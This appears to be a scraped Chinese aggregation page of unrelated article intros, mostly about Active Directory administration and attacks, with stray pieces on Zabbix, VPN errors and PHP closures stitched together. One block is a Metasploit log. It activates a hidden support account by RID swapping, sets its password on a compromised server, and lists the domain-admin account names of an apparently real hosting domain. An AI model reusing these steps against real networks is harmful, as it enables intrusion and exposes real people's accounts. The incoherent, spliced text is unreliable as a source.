环境介绍：我这里用的是两台Windows 2008 R2，当然你可以使用Windows 2012 。
AD是指微软Active Directory活动目录系统，作为目前市面上主流的活动目录产品，AD在许多企业内部承担着基础架构核心系统的角色，维护这套系统的正常运行是企业内部基础运维的重要课题，需要IT人员拥有齐备的技术文档、丰富的社区案例知识以及企业长年的运维服务实践经验。
2021年11月9日，微软发布11月份安全补丁更新。在该安全补丁更新中，修复了两个域内提权漏洞CVE-2021-42287/CVE-2021-42278。但是当时这两个漏洞的利用详情和POC并未公布出来，因此并未受到太多人关注。
Fayson在前面的文章《01-如何在Window Server 2012 R2搭建Acitve Directory域服务》、《02-Active Directory安装证书服务并配置》、《03-Active Directory的使用与验证》、《04-如何在RedHat7上配置OpenLDAP客户端及集成SSSD服务和集成SSH登录》和《05-如何为Hive集成AD认证》。本篇文章Fayson主要介绍Impala集成AD认证。
安装测试环境是基于Windows Server 2008 R2 Standard完全安装版，另外，Exchange服务组件是基于Exchange2010-SP2-x64的。所用软件请仅用于测试使用，如有需要请进行购买正版。
Kekeo是MimiKatz的作者Benjamin用C语言写的针对Kerberos协议进行攻击的工具。它可以发起Kerberos请求，并将请求的票据导入内存中，从而模拟针对Kerberos协议各个阶段发起攻击，以方便安全研究员进行研究和学习。然而由于种种原因，并且其功能其实也没有Rubeus工具强大，导致Kekeo并没有很大范围的被使用。以下简要的讲述Kekeo的一些简单用法，本文的目的是希望大家对Kekeo工具有一个简单的了解。
Zabbix 默认认证方式为本地内部认证，也就是在 Zabbix 前端创建的用户。Zabbix 默认有四种认证方式，分别是内部、HTTP、LDAP、SAML（SSO单点登录认证）。其中 HTTP 利用了 WEB 服务本身所提供的认证，就不细说了。
之前为某客户的华为防火墙配置了L2TP OVER IPSEC，突然发现无法连接了，UniVPN报错：与对方建立连接超时，配置错误或网络故障。
海哥，问个问题啊，我在做vmware桌面虚拟化的时候，创建桌面迟后，出现这个报错。。
链接：https://pan.baidu.com/s/1k26xh04pK0vzXZ3J0D0SZw 提取码：191t
在针对大型企业的域渗透过程会发现，普通域用户无法执行类似于net group "domain admins" /domain 和 net group "domain controllers" /domain的命令查询域管理员和域控等敏感组，会提示发生系统错误拒绝访问。这主要是由于目标企业针对域做了安全加固，设置了ACL限制了普通域用户对敏感用户组的查询。绕过方法也很简单，条条大道通罗马，可以换个方式来进行查询，可以使用powershell或者adfind工具换个方式来进行查询。
哈希传递（Pass The Hash）攻击，该方法通过找到与账户相关的密码散列值（通常是 NTLM Hash）来进行攻击。
如果您从事 IT 管理工作，那么活动目录一定很熟悉，这是一种由 Microsoft 为 Windows 网络域开发的数据库服务，本文瑞哥给大家普及一下什么是活动目录？活动目录的工作原理是什么？
由于下面三个部分都需要用到域，环境搭建起来有点复杂，涉及到的知识点多，而且失败了很多次，所以也就记录下来了。
先说明一下，AD的环境是有Windows Server 2000升级到Windows Server 2008R2，升级已经有半年多了。现在企业需要安装一套Exchange2010 的邮件系统，然而安装过程中出现了一些问题。把这次的Exchange2010 安装项目排错经验写出来希望能帮助有类似情况的人。
云服务器与轻量服务器通过云联网连接 - 云+社区 - 腾讯云 (tencent.com)
转发：https://www.e-learn.cn/content/qita/2484245
笔者在IT运维行业多年，刚开始在乙方从事IT系统集成项目，后来一直在甲方从事IT运维至今。
本章主要介绍 CIFS 与 CIFS Homedir 概念及其配置，方便初学者快速入门;
> 因为公司现有生产环境还在使用windows server 2008 R2，考虑到版本太老和后续可能遇到的兼容性问题，再加上微软已经停止了对windows server 2008的支持，于是着手升级现有环境到windows server 2019。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/145764.html原文链接：https://javaforall.cn
这个章节主要讲Active Directory 域服务概述及相关概念，设计步骤及AD常见的规划设计TOP方案，每种架构TOP方案的特定及优缺点。
路径是控制面板->系统和安全->系统，而后点击更改设置，再选择更改即可，这里给其命名为DC
GitLab是一个开源的代码托管和项目管理平台，它提供了一系列功能，如代码托管、CI/CD、issue跟踪等。GitLab支持多种认证方式，包括LDAP、OAuth、CAS等。本文将介绍如何在GitLab中集成AD域控登录。
调查结果（MAC III - 行政敏感） 查找 ID 严重性 标题 描述 V-8534 高的 不同分类级别的 DoD 目录服务之间的互连必须使用经批准可与跨分类信任一起使用的跨域解决方案。 如果不使用强大的跨域解决方案，那么它可能允许未经授权访问机密数据。为了支持不同分类级别的资源之间的安全访问，... V-8536 高的 受控接口必须在 DoD 和非 DoD 系统或网络之间运行的 DoD 信息系统之间具有互连。 AD 信任关系的配置是用于允许一个域中的用户访问另一个域、林或 Kerberos 领域中的资
msf exploit(ms14_058_track_popup_menu) > use post/windows/manage/enable_support_account msf post(enable_support_account) > set password 7a57a5a743894a0e msf post(enable_support_account) > set session 2 msf post(enable_support_account) > exploit [*] Target OS is Windows .NET Server (Build 3790, Service Pack 2). [*] Harvesting users... [+] Found SUPPORT_388945a0 account! [*] Target RID is 1004 [*] Account is disabled, activating... [*] Swapping RIDs...! [*] Setting password to 7a57a5a743894a0e [*] Post module execution completed 用于远程桌面连接的3389端口被管理员修改过了，根据经验猜测3392应该是修改后的端口号，在远程连接界面看到存在域，说明这台机器在HOSTING域内。 Webshell执行域信息搜集相关命令时会提示：System error 5 has occurred . Access is denied . 。访问被拒绝，权限问题。 ipconfig /all //网卡配置信息，所属域以及IP段 ping backbox //显示该机器名的IP net view //显示当前域中的计算机列表 net view /domain //查看有多少个域 net user /domain //获取所有域用户列表 net group /domain //获取域用户组信息 net group "domain admins" /domain //获取当前域管理员 net time /domain //域服务器一般也做时间服务器 dsquery server //查看域控服务器 dsquery subnet //查看域IP地址范围 因为meterpreter会话2里已经是SYSTEM权限了，所以可以用shell命令进入DOS命令行下执行以下命令搜集域信息，缺图。 msf post(enable_support_account) > sessions -i 2 [*] Starting interaction with 2... meterpreter > shell Process 13204 created. Channel 2 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\windows\system32\inetsrv>net group "domain admins" /domain net group "domain admins" /domain The request will be processed at a domain controller for domain hosting.lunarpages.com. Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- _new_win_user abbas.khan akumar alexb alext brianl dgreathouse dimitriosk epak gcager gudiyak iismon Jassi
AD域环境是微软整个产品体系中非常重要的一个系统，是大部分微软应用的基础。在某些情况下由于公司规划原因或并购，会需要做AD域的迁移整合工作，或是两个AD域跨林进行资源访问。
大家好，这里是 渗透攻击红队 的第 74 篇文章，本公众号会记录一些红队攻击的案例，不定时更新！请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关！
为什么要使用域？假设你是公司的系统管理员，你们公司有一千台电脑。如果你要为每台电脑设置登录帐户，设置权限(比如是否允许登录帐户安装软件)，那你要分别坐在这一千台电脑前工作。如果你要做一些改变，你也要分别在这一千台电脑上修改。相信没有哪个管理员想要用这种不吃不喝不睡觉的方式来工作，所以就应运而生了域的概念。
SID 历史记录是一项旧功能，可实现跨 Active Directory 信任的回溯。此功能在 Active Directory 首次发布以支持迁移方案时就已到位。当用户通过身份验证时，用户所属的每个安全组的 SID 以及用户 SID 历史记录中的任何 SID 都将添加到用户的 Kerberos 票证中。由于 SID History 旨在跨信任工作，因此它提供了跨信任“模拟”。
（如您转载本文，必须标明本文作者及出处。如有任何疑问请与我联系 me@nap7.com）
第一次写博客，记录一下如何搭建自己的域服务器，以及其中遇到的一些问题，感谢“我的bug我做主”的文章《C#实现AD域验证登录（一）》，为防止原文被作者删除，手动将原文复制下来，如有侵权，请及时告知。
【摘要】 我们都知道AD域在企业内网中扮演了重要的角色，集身份验证和服务管理于一身。但很多少数人，不清楚AD域是什么意思？AD域有什么用？今天我们小编就跟大家一起聊聊。
在深入了解如何通过证书服务攻击获取域控权限之前，我们先进入草莓时刻，了解一下什么是AD CS。
本篇文章我们主要介绍AD CS攻击系列中的中继攻击的基本原理和攻击手法进行简单阐述~
本文实例讲述了PHP基于Closure类创建匿名函数的方法。分享给大家供大家参考，具体如下： Closure 类 用于代表匿名函数的类。 匿名函数（在 PHP 5.3 中被引入）会产生这个类型的对象。在过去，这个类被认为是一个实现细节，但现在可以依赖它做一些事情。自 PHP 5.4 起，这个类带有一些方法，允许在匿名函数创建后对其进行更多的控制。 这个类不能实例化，里面主要有两个方法，都用来复制闭包，一个静态一个动态，下面分别详细讲解下这两个不好理解的方法。 Closure::bind public static Closure Closure::bind ( Closure $closure , object $newthis [, mixed $newscope = 'static' ] ) 参数说明： closure 需要绑定的匿名函数。 newthis 需要绑定到匿名函数的对象，或者 NULL 创建未绑定的闭包。 newscope 想要绑定给闭包的类作用域，或者 'static' 表示不改变。如果传入一个对象，则使用这个对象的类型名。 类作用域用来决定在闭包中 $this 对象的 私有、保护方法 的可见性。 The class scope to which associate the closure is to be associated, or 'static' to keep the current one. If an object is given, the type of the object will be used instead. This determines the visibility of protected and private methods of the bound object. 上面是该方法的定义，第一个参数很好理解，就是一个闭包函数；第二个/【要记得博客地址www.isres.com】/参数就不太好理解，如果要复制的闭包中包含$this，这个对象就表示这个$this，闭包函数里面对这个对象的修改在调用结束之后也会保持一致，比如修改了一个属性；第三个参数就不太好理解了，看官方的说明也是云里雾里的，默认参数情况下，调用$this->访问object $newthis中的属性函数的时候，会有限制，只能访问public属性的函数，如果想访问protected/private属性，就要设置为对应的类名/类实例，就要像在类里面一样，要访问那个类的保护/私有属性函数。 例子
WatchAD是0KEE Team研发的开源域安全入侵感知系统，WatchAD收集所有域控上的事件日志和kerberos流量，通过特征匹配、Kerberos协议分析、历史行为、敏感操作和蜜罐账户等方式来检测各种已知与未知威胁，功能覆盖了大部分目前的常见内网域渗透手法。目前支持的具体检测功能包括：
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦
嗨，大家好！这次我想分享一些与“Windows Active Directory（AD）”环境相关的内容。我将使用Web shell向大家演示“如何转储Windows Active Directory用户数据库”。可能有这样一种情况在渗透测试期间，渗透测试人员连接到了Windows Active Directory forest其中一台计算机并获得了“Domain Admin”用户凭据和Web shell访问权限。渗透测试人员试图进一步的获得Reverse shell，但由于某些原因阻止了该行为（假设网络防火墙不允许）但测试者的最终目标可能并不是获取shell，而是转储AD用户数据库，即用户和ADL环境的NTLM密码哈希值。
平时我都是做APO的，很少接触Core IO方面的东西，最近由于一个项目的需要，要我配置AD、DNS、MOSS+NLB，SQL Server+Cluster。这可是我的弱项，任务既然来了，还是只有硬着头皮上了。在客户那边配置测试环境之前，我先要在虚拟机中做做实验，看下该怎么配，官方文档倒是写的多简单的，几步就完成的，但是实际配起来可能会遇到各种各样的问题需要去解决。现在我就说说我配置NLB的过程。
默认情况下计算机安装完操作系统后是隶属于工作组的。 工作组有时也叫做对等网络，因为网络上每台计算机的地位都是平等的，它们的资源与管理是分散在各个计算机上。
web项目中有时候客户要求我们使用ad域进行身份确认，不再另外做一套用户管理系统。其实客户就是只要一套账号可以访问所有的OA，CRM等办公系统。 这就是第三方验证。一般有AD域,Ldap,Radius,邮件服务器等。最常用的要数AD域了。因为window系统在国内占据了大量的江山。做起来也很方便。 我这篇文章就是写，如何用java去实现AD域的身份验证。好了，直接看代码吧：
在上一篇文章中，我们介绍了windows本地认证和网络认证会使用到的NTLM协议以及相应的hash算法。在本篇文章中，将深入学习windows域环境。
2020年8月11号，微软修复了Netlogon 特权提升漏洞，当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时，存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
今天我来说一下怎么在域中安装第二台DC,(在域中添加额外域控制器第二台DC,这样即使第一台DC宕机时用户可以正常登录域和访问域)。
在一次渗透测试中，客户给了一个 IP 范围，要求执行外部的渗透测试，在尝试 nessus 扫描之后没有发现任何可以利用的点，着着我不得不探查目标 IP 是否部署有 web 服务，从而进一步测试。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
